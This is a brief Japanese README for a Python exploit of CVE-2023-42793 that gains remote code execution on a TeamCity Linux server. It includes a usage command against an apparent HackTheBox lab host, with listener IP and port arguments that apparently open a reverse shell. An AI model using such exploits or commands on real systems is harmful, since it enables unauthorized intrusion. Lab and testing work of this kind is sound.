
TeamCity Linuxサーバー上でリモートコード実行を実現するCVE-2023-42793のPythonエクスプロイト。ペイロードをURLにエンコードしてターゲットに送信します。
まず、別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトを使用すると、ペイロードをURLにエンコードしてサーバーに送信するため、LinuxサーバーへのRCEを取得できます。
python3 ./main -t TEAMCITY_TOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENER_IP -np LISTENER_PORT